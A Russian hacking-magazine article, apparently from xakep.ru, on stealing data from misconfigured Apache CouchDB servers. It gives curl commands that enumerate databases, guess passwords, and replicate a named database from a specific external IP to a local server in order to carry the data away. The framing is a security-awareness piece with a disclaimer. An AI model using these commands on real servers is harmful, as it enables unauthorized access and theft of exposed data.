Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Практически каждый день «Хакер» пишет о масштабных и не очень утечках данных. «Течет» откуда только можно, и последствия бывают самыми разными. Сегодня я постараюсь рассказать и показать, как легко злоумышленники могут получить доступ к обширным массивам всевозможных данных.
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Неправомерный доступ к компьютерной информации преследуется по закону.
Прежде чем приступать к атакам, предлагаю разобраться, почему они вообще возможны и почему жизнь по‑прежнему ничему не учит админов и прочих причастных к защите БД.
Таким образом, одной из основных причин утечки данных служит криворукость администраторов небезопасная конфигурация СУБД, оставленная в результате невнимательности или же просто недостатка знаний.
www
Пугающие масштабы криворукости админов и примеры утечек из‑за этого можно увидеть на канале «Утечки информации», да и в «Хакере» мы о них регулярно пишем.
СУБД — это система управления базами данных, которая обеспечивает механизм хранения и поиска этих самых данных. В дальнейшем я буду часто использовать это сокращение.
CouchDB — это база данных с открытым исходным кодом, разработанная программным фондом Apache. Классическая NoSQL-база. Написана на языке Erlang.
Больше всего нас интересуют способы подключения:
Доступ к БД реализован по протоколу HTTP с использованием JSON API, что позволяет обращаться к данным в том числе из выполняемых в браузере веб‑приложений. Имеет свой собственный графический веб‑интерфейс (Futon).
Мы же воспользуемся обычным curl
. Вот, к примеру, запрос приветствия:
curl http://127.0.0.1:5984/
Ответ расскажет нам о номере версии, имени поставщика и версии программного обеспечения:
{ "couchdb":"Welcome","version":"2.3.1", "git_sha":"c298091a4", "uuid":"777dc19849f3ff0392ba09dec1a62fa7", "features":["pluggable-storage-engines","scheduler"], "vendor":{"name":"The Apache Software Foundation"}}
Чтобы получить список всех БД на сервере, можно выполнить такой запрос:
curl http://127.0.0.1:5984/_all_dbs
В ответ мы увидим
[ "_replicator", "_users", "mychannel_", "mychannel_kizuna-chaincode", "mychannel_lscc", "mychannel_user"]
Здесь _replicator
и _users
— это стандартные БД.
В ответ также можно получить такую ошибку:
{ "error":"unauthorized", "reason":"You are not a server admin."}
Смело идем мимо, здесь ловить нечего. Уровень анонимного доступа настроен так, что мы не можем даже увидеть список БД на сервере, не то что к ним подключиться. Но можно попробовать наудачу подобрать пароль. Запрос на авторизацию выглядит следующим образом:
curl -X PUT http://localhost:5984/test -u "login:password"
Чтобы подключиться к графическому интерфейсу, нет необходимости ставить какое‑либо ПО, достаточно просто в браузере перейти по такому адресу:
http://127.0.0.1:5984/_utils/
Чтобы унести данные, можно воспользоваться следующим запросом:
curl -X POST -d '{"source":"http://54.161.77.240:5984/klaspadchannel_","target":"http://localhost:5984/klaspadchannel_"}' http://localhost:5984/_replicate -H "Content-Type: application/json"
Конечно же, потребуется поднять сервер CouchDB на локальной машине. Впрочем, было бы странно, если бы его у тебя не было, раз уж ты собрался работать с этой базой.
Источник: xakep.ru